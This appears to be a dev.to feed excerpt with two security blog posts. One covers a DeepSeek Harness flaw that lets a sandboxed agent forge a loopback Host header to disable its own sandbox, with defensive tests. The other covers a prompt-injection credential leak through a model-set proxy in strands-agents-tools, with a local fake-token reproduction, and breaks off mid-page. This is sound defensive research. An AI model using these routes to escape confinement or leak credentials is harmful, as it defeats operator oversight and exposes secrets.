&lt;p&gt;From the release notes and the patch commit, the direction is the same as design C. Network access to the web interface now requires a one-time token in the launch URL. The commit's architecture notes describe moving from implicit loopback assumptions to a browser session established by a process token and a signed cookie, with &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;Origin&lt;/code&gt; kept as routing evidence only. The same notes say the CLI now rejects binding to &lt;code&gt;0.0.0.0&lt;/code&gt;, and that configuration operations need an authenticated browser session.&lt;/p&gt;

&lt;p&gt;I read the commit through its documentation and tests, not by running a patched build, so I cannot tell you how the token is delivered on every platform. That delivery path is the thing to check on any runtime: if the token is printed to the terminal the agent also reads, or sits in an environment variable the confined shell inherits, design C quietly collapses back into design B.&lt;/p&gt;

&lt;p&gt;One more observation from the day I wrote this. The repository's security advisories page listed no published advisories, while the CVE record exists through VulnCheck. If you track agent runtimes through GitHub advisories alone, this one would not have reached you. Subscribe to the CVE feed for the packages you run, not only the repository's advisory page.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do you design a control plane the agent cannot edit?
&lt;/h2&gt;

&lt;p&gt;The checklist I would apply to any local agent runtime, including your own:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventory every route that changes policy.&lt;/strong&gt; Sandbox mode, approval mode, allowlists, tool enablement, network rules. Treat them as one class, "policy writes", and list them by name.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give policy writes an identity the agent cannot obtain.&lt;/strong&gt; A per-process secret held by the UI process, a Unix socket with file permissions the sandbox cannot satisfy, or a handshake that needs a human-approved step. Do not use anything derivable from the network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make confinement cover the control plane.&lt;/strong&gt; If the sandbox leaves loopback open, you have exposed every local listener. Either block loopback for the confined process or allow only the specific model endpoint it needs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bind to a Unix domain socket or a named pipe where you can.&lt;/strong&gt; Filesystem permissions and process credentials are checks the kernel performs, which is stronger than a header a client writes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never raise privilege through the same channel the agent uses.&lt;/strong&gt; A mode change from "confined" to "full access" should require a prompt the model cannot answer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log the credential, not a label.&lt;/strong&gt; Record which identity authorized each policy write, and alarm when a policy write has no human session behind it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refuse unsafe bind addresses.&lt;/strong&gt; The patched CLI rejecting &lt;code&gt;0.0.0.0&lt;/code&gt; is a cheap guard against accidental exposure through a tunnel.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A regression test makes item 1 and item 2 stick. This one enumerates routes and fails if any policy-writing route answers without the token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="no"&gt;POLICY_ROUTES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"PATCH"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/api/sessions/1/config"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"PUT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/api/rules"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/api/tools/enable"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_policy_writes_require_identity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="no"&gt;POLICY_ROUTES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Host"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1:3080"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"{method} {path} accepted an unauthenticated caller"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_forged_host_is_not_identity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;operator_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/api/sessions/1/config"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"danger-full-access"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Host"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1:3080"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/api/sessions/1/config"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"approval"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"ask"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"X-Session-Token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;operator_token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;204&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second test matters as much as the first. A gate that refuses everyone is easy to build; the check is that the operator path still works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where does this sit among recent agent sandbox bugs?
&lt;/h2&gt;

&lt;p&gt;I covered the Docker Sandboxes &lt;code&gt;sbx cp&lt;/code&gt; symlink issue earlier in this series: one check, four code paths. The shape here is different. In &lt;code&gt;sbx cp&lt;/code&gt; the guard existed but covered too few paths. In this CVE the guard existed on the file system and nobody guarded the knob that turns it off. Both end the same way, with an agent doing something its operator believed was blocked.&lt;/p&gt;

&lt;p&gt;If you only remember one test from this series, make it this: for every protection your agent runtime advertises, find the command that disables it, and ask which callers can send that command. Sandboxes, approvals and allowlists are configuration, and configuration needs its own access control.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2026-82533?&lt;/strong&gt;&lt;br&gt;
An authentication bypass (CWE-807, reliance on untrusted inputs in a security decision) in the local HTTP control-plane API of DeepSeek Harness versions before 0.1.2-alpha.1. The server accepted a client-supplied loopback &lt;code&gt;Host&lt;/code&gt; header in place of validating the actual connection origin. VulnCheck published it on September 8, 2026 with a CVSS 4.0 score of 9.4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which version fixes it?&lt;/strong&gt;&lt;br&gt;
0.1.2-alpha.1, released August 27, 2026. Network access to the web interface then requires a one-time token in the launch URL, and the safety notice states that sandboxing, approvals and permissions do not guarantee isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does checking the socket's peer address stop a confined agent?&lt;/strong&gt;&lt;br&gt;
No. In my local model, a peer-address check blocked a remote forger but still admitted both requests from a process on loopback, because its peer address was genuinely loopback. Only a credential the confined process does not hold blocked all four attack requests while the operator's request still worked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why is leaving loopback reachable inside a sandbox a problem?&lt;/strong&gt;&lt;br&gt;
Every service listening on the machine becomes part of the agent's reach, including the agent runtime's own control plane. File-system confinement says nothing about what the process can ask a neighbor to do on its behalf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the cheapest mitigation if I run a local agent runtime today?&lt;/strong&gt;&lt;br&gt;
Upgrade to a patched version, keep the control port off any tunnel or reverse proxy, and test it yourself: from inside the sandbox, try to read and change the session configuration over loopback. If either works without a token you did not give the agent, treat the sandbox as advisory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Allowlist Guarded the Destination, Not the Route: A Proxies Parameter Leaked Credentials From an Agent HTTP Tool (earlier post, same series)&lt;/li&gt;
&lt;li&gt;One Check, Four Paths: What the Docker Sandboxes sbx cp Symlink Bug Teaches About Guarding Every Position (earlier post, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;VulnCheck advisory, "DeepSeek Harness &amp;lt; 0.1.2-alpha.1 Authentication Bypass via Host Header Spoofing" (CVE-2026-82533, published 2026-09-08): &lt;a href="https://www.vulncheck.com/advisories/deepseek-harness-alpha-1-authentication-bypass-via-host-header-spoofing" rel="noopener noreferrer"&gt;https://www.vulncheck.com/advisories/deepseek-harness-alpha-1-authentication-bypass-via-host-header-spoofing&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;OX Security, technical write-up of CVE-2026-82533: &lt;a href="https://www.ox.security/blog/cve-2026-82533-deepseek-harness-ai-agent-sandbox-escape/" rel="noopener noreferrer"&gt;https://www.ox.security/blog/cve-2026-82533-deepseek-harness-ai-agent-sandbox-escape/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Release notes for dsh v0.1.2-alpha.1 (2026-08-27): &lt;a href="https://github.com/deepseek-ai/deepseek-harness/releases/tag/dsh-v0.1.2-alpha.1" rel="noopener noreferrer"&gt;https://github.com/deepseek-ai/deepseek-harness/releases/tag/dsh-v0.1.2-alpha.1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Patch commit: &lt;a href="https://github.com/deepseek-ai/deepseek-harness/commit/3e24087bfaeabe40b58ba2f7b936895b8f93fe27" rel="noopener noreferrer"&gt;https://github.com/deepseek-ai/deepseek-harness/commit/3e24087bfaeabe40b58ba2f7b936895b8f93fe27&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Local model: Python standard library &lt;code&gt;http.server&lt;/code&gt;, loopback and the machine's own LAN address only, five request positions times three trust checks, no external traffic and no real product involved; illustrative of the trust decision, not a test of the real harness&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>python</category>
      <category>llm</category>
    </item>
    <item>
      <title>The Allowlist Guarded the Destination, Not the Route: A Proxies Parameter Leaked Credentials From an Agent HTTP Tool</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Wed, 11 Nov 2026 02:33:24 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/the-allowlist-guarded-the-destination-not-the-route-a-proxies-parameter-leaked-credentials-from-5h97</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/the-allowlist-guarded-the-destination-not-the-route-a-proxies-parameter-leaked-credentials-from-5h97</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CVE-2026-18394 (GitHub advisory GHSA-qhw6-2h72-m84v, AWS bulletin 2026-069-AWS, published July 31, 2026) is a credential leak in the &lt;code&gt;http_request&lt;/code&gt; tool of &lt;code&gt;strands-agents-tools&lt;/code&gt;. An operator could bind a token to approved hostnames with &lt;code&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/code&gt;, but the tool also let the model choose a &lt;code&gt;proxies&lt;/code&gt; parameter. A prompt injection could point that proxy at an attacker, and the credential would travel to the wrong hop.&lt;/li&gt;
&lt;li&gt;The fix is one deleted schema property. The patch (PR #513, shipped in v0.8.2 on June 25, 2026) removed &lt;code&gt;proxies&lt;/code&gt; from the model-visible input, so proxy settings now come only from operator-controlled &lt;code&gt;HTTP_PROXY&lt;/code&gt; and &lt;code&gt;HTTPS_PROXY&lt;/code&gt;. I diffed the two versions: 22 schema properties became 21, nothing added.&lt;/li&gt;
&lt;li&gt;The allowlist checked &lt;code&gt;urlparse(url).hostname&lt;/code&gt; and nothing else. It did not look at scheme or port, and it had no opinion about the route a request would take. I reproduced the consequence locally with a fake token: a proxy received the credential in cleartext for an &lt;code&gt;http://&lt;/code&gt; target, and saw only a &lt;code&gt;CONNECT&lt;/code&gt; line for an &lt;code&gt;https://&lt;/code&gt; target.&lt;/li&gt;
&lt;li&gt;In a small illustrative model, a hostname-only gate blocked 1 of 5 credential-leaking requests, an exact-origin gate blocked 4, and an exact-origin gate plus a fixed route blocked all 5, with legitimate requests unaffected.&lt;/li&gt;
&lt;li&gt;Timing matters today: the package itself was deprecated on November 4, 2026 (v0.9.0 turns every tool into an import error), so pin audits and migrations are due now.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did CVE-2026-18394 actually break?
&lt;/h2&gt;

&lt;p&gt;Agent HTTP tools have a problem that ordinary HTTP clients do not: the caller is a language model that reads untrusted text. When an agent fetches a web page, a ticket or a README, whatever is in that content can try to steer the next tool call. That is indirect prompt injection, and it is the threat the advisory describes.&lt;/p&gt;

&lt;p&gt;The Strands &lt;code&gt;http_request&lt;/code&gt; tool let operators attach secrets to requests safely, in theory. You listed an environment variable and the hostnames it may be sent to, like this (the example comes from the tool's own docstring):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;strands_tools&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;http_request&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="no"&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/span&gt;
&lt;span class="no"&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"GITHUB_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"api.github.com"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model then passed &lt;code&gt;auth_env_var="GITHUB_TOKEN"&lt;/code&gt; and a URL. The tool refused any URL whose hostname was not in the list. That control is sound for what it covers: the model cannot ask for the GitHub token to be sent to &lt;code&gt;evil.example&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The gap was a second input the model could also set. The PR description puts it plainly: the &lt;code&gt;proxies&lt;/code&gt; parameter "is included in the LLM-controllable input schema, allowing an LLM influenced by indirect prompt injection to route credentialed requests through actor-controlled proxy infrastructure, bypassing the HTTP_REQUEST_TOKEN_CONFIG hostname allowlist." The AWS bulletin adds the consequence: "The credential is attached, and the request is routed through the actor's proxy on the first hop, disclosing the credential in cleartext."&lt;/p&gt;

&lt;p&gt;The GitHub advisory rates it Moderate with CVSS 6.9 and classifies it as CWE-863, incorrect authorization. At least one vulnerability aggregator lists 7.4. Scorers disagree, so read the vector and your own exposure, not the number. The advisory also notes a second weakness in the same neighborhood: GET requests bypassed the consent gate. I confirmed that in the v0.8.1 source, where the confirmation dialog applies only to &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;PATCH&lt;/code&gt; and &lt;code&gt;DELETE&lt;/code&gt;. A credentialed GET to a hostile route therefore needed no human in the loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why did a correct allowlist still leak?
&lt;/h2&gt;

&lt;p&gt;Because it guarded the destination, and a credential's journey has more than one position. Before the request reaches &lt;code&gt;api.github.com&lt;/code&gt;, it passes through whatever the client was told to use as a proxy. That first hop sees the request, and the allowlist had no say over it.&lt;/p&gt;

&lt;p&gt;This is the same shape as the lesson from the symlink and trailing-dot bugs I covered earlier: a check is only as strong as the set of inputs it actually constrains. Here the check constrained the URL's hostname, while the egress route, the scheme and the port were all outside it.&lt;/p&gt;

&lt;p&gt;Here is the check in v0.8.1, trimmed to the part that matters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;allowed_domains&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;env_var_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;request_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request_host&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_domains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Request to '{request_host}' is not in the allowed domains ..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.hostname&lt;/code&gt; drops the scheme and the port. So &lt;code&gt;http://api.github.com/user&lt;/code&gt; and &lt;code&gt;https://api.github.com:8443/user&lt;/code&gt; both pass a list containing &lt;code&gt;api.github.com&lt;/code&gt;. Whether that matters depends on what the credential rides on, so I measured it rather than guessing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does an unintended proxy actually see?
&lt;/h2&gt;

&lt;p&gt;I wrote a short script that starts throwaway listeners on 127.0.0.1 and uses the &lt;code&gt;requests&lt;/code&gt; library (2.34.2) with a fake token. Nothing leaves the machine. The relevant part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="no"&gt;SECRET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ghp_FAKE0000demo"&lt;/span&gt;
&lt;span class="c1"&gt;# case 1: plain-http target, proxy chosen by the "model"&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"http://api.github.com/user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Authorization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"token {SECRET}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="n"&gt;proxies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:{proxy_port}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# case 2: https target through the same kind of proxy&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://api.github.com/user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Authorization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"token {SECRET}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="n"&gt;proxies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"https"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:{proxy_port2}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The listener for case 1 received this, secret included:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET http://api.github.com/user HTTP/1.1
Host: api.github.com
Authorization: token ghp_FAKE0000demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The listener for case 2 received only &lt;code&gt;CONNECT api.github.com:443 HTTP/1.1&lt;/code&gt; and &lt;code&gt;Host: api.github.com:443&lt;/code&gt;. The secret was not in it, because with certificate verification on, the headers travel inside the TLS tunnel.&lt;/p&gt;

&lt;p&gt;That second result refines the headline, it does not contradict it. The bulletin's "cleartext" statement holds when the approved hostname is reached over plain HTTP, and a hostname-only check does not stop that. The tool also gates disabling certificate verification behind a separate environment variable (&lt;code&gt;STRANDS_HTTP_ALLOW_INSECURE_SSL&lt;/code&gt;), which is why the TLS case stayed closed in my run. I did not test every deployment shape, and I did not run the attack against a real Strands agent. Treat the experiment as a demonstration of the mechanism, and the advisory as the authority on the product.&lt;/p&gt;

&lt;p&gt;I also checked one more egress knob that remained after the patch: redirects. The tool exposes &lt;code&gt;allow_redirects&lt;/code&gt;, and &lt;code&gt;requests&lt;/code&gt; follows them by default. Against a second local listener on a different port, the &lt;code&gt;Authorization&lt;/code&gt; header was stripped on the cross-origin hop, but a custom &lt;code&gt;X-API-Key&lt;/code&gt; header was forwarded. The tool supports &lt;code&gt;auth_type="api_key"&lt;/code&gt;, which sets exactly that header. This is general &lt;code&gt;requests&lt;/code&gt; behavior, not a reported Strands flaw, and exploiting it would need an open redirect on an approved host. I include it because it shows how many places "where does this credential go" can be decided.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522http%2520target%2520via%2520proxy%2522%252C%2522https%2520target%2520via%2520proxy%2522%252C%2522redirect%253A%2520Authorization%2522%252C%2522redirect%253A%2520X-API-Key%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Credential%2520readable%2520at%2520the%2520unintended%2520hop%2520%25281%2520%253D%2520yes%2529%2522%252C%2522data%2522%253A%255B1%252C0%252C0%252C1%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%25232e7d32%2522%252C%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Measured%2520locally%253A%2520did%2520the%2520unintended%2520hop%2520see%2520the%2520secret%253F%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A1%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img 